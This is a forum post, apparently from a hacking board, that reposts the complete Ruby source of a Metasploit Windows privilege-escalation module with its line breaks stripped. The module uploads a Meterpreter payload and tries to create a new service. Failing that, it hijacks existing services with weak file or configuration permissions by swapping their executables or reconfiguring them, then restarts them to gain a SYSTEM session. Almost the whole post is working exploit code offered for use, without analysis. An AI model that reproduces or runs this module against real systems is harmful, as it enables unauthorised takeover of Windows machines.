LLegoLLaS Posted October 16, 2012 Report Share Posted October 16, 2012 ### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# web site for more information on licensing and terms of use.# http://metasploit.com/##require 'msf/core'require 'msf/core/post/windows/services'require 'rex'class Metasploit3 < Msf::Exploit::LocalRank = GreatRankinginclude Msf::Post::Windows::WindowsServicesdef initialize(info={})super( update_info( info,'Name' => 'Windows Escalate Service Permissions Local Privilege Escalation','Description' => %q{This module attempts to exploit existing administrative privileges to obtaina SYSTEM session. If directly creating a service fails, this module will inspectexisting services to look for insecure file or configuration permissions that maybe hijacked. It will then attempt to restart the replaced service to run thepayload. This will result in a new session when this succeeds. If the module isable to modify the service but does not have permission to start and stop theaffected service, the attacker must wait for the system to restart before asession will be created.},'License' => MSF_LICENSE,'Author' => [ 'scriptjunkie' ],'Arch' => [ ARCH_X86 ],'Platform' => [ 'windows' ],'SessionTypes' => [ 'meterpreter' ],'DefaultOptions' =>{'EXITFUNC' => 'thread','WfsDelay' => '5'},'Targets' =>[[ 'Automatic', { } ],],'DefaultTarget' => 0))register_options([OptBool.new("AGGRESSIVE", [ false, "Exploit as many services as possible (dangerous)", false ])])enddef exploit# randomize the filenamefilename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"# randomize the exe nametempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"raw = payload.encodedexe = Msf::Util::EXE.to_win32pe_service(session.framework, raw)sysdir = session.fs.file.expand_path("%SystemRoot%")tmpdir = session.fs.file.expand_path("%TEMP%")print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..")begin## Upload the payload to the filesystem#tempexe = tmpdir + "\\" + tempexe_namefd = session.fs.file.new(tempexe, "wb")fd.write(exe)fd.closerescue ::Exception => eprint_error("Error uploading file #{filename}: #{e.class} #{e}")returnend#attempt to make new service#SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current configprint_status("Trying to add a new service...")adv = session.railgun.advapi32manag = adv.OpenSCManagerA(nil,nil,0x10013)if(manag["return"] != 0)# SC_MANAGER_CREATE_SERVICE = 0x0002# SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010# SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0newservice = adv.CreateServiceA(manag["return"],Rex::Text.rand_text_alpha((rand(8)+6)),"",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil)if(newservice["return"] != 0)print_status("Created service... #{newservice["return"]}")ret = adv.StartServiceA(newservice["return"], 0, nil)print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.")adv.DeleteService(newservice["return"])adv.CloseServiceHandle(newservice["return"])if datastore['AGGRESSIVE'] != trueadv.CloseServiceHandle(manag["return"])returnendelseprint_error("Uhoh. service creation failed, but we should have the permissions. :-(")endelseprint_status("No privs to create a service...")manag = adv.OpenSCManagerA(nil,nil,1)if(manag["return"] == 0)print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.")endendprint_status("Trying to find weak permissions in existing services..")#Search through list of services to find weak permissions, whether file or configserviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"#for each serviceservice_list.each do |serv|beginsrvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_sif srvtype != "16"continueendmoved = falseconfiged = false#default path, but there should be an ImagePath registry keysource = session.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe")#get path to exe; parse out quotes and argumentssourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_ssourcemaybe = session.fs.file.expand_path(sourceorig)if( sourcemaybe[0] == '"' )sourcemaybe = sourcemaybe.split('"')[1]elsesourcemaybe = sourcemaybe.split(' ')[0]endbeginsession.fs.file.stat(sourcemaybe) #check if it really existssource = sourcemayberescueprint_status("Cannot reliably determine path for #{serv} executable. Trying #{source}")end#try to exploit weak file permissionsif(source != tempexe && session.railgun.kernel32.MoveFileA(source, source+'.bak')["return"])session.railgun.kernel32.CopyFileA(tempexe, source, false)print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.")moved = trueend#try to exploit weak config permissions#open with SERVICE_CHANGE_CONFIG (0x0002)servhandleret = adv.OpenServiceA(manag["return"],serv,2)if(servhandleret["return"] != 0)#SERVICE_NO_CHANGE is 0xFFFFFFFFif(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil))print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.")configed = trueendadv.CloseServiceHandle(servhandleret["return"])endif(moved != true && configed != true)print_status("No exploitable weak permissions found on #{serv}")continueendprint_status("Restarting #{serv}")#open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)servhandleret = adv.OpenServiceA(manag["return"],serv,0x30)if(servhandleret["return"] != 0)#SERVICE_CONTROL_STOP = 0x00000001if(adv.ControlService(servhandleret["return"],1,56))session.railgun.kernel32.Sleep(1000)adv.StartServiceA(servhandleret["return"],0,nil)print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.")#Cleanupif moved == truesession.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)endif configed == trueservhandleret = adv.OpenServiceA(manag["return"],serv,2)adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)adv.CloseServiceHandle(servhandleret["return"])endelseprint_status("Could not restart #{serv}. Wait for a reboot or force one yourself.")endadv.CloseServiceHandle(servhandleret["return"])if datastore['AGGRESSIVE'] != truereturnendelseprint_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")endrescueendendendendsursa:bugsearch Quote Link to comment Share on other sites More sharing options...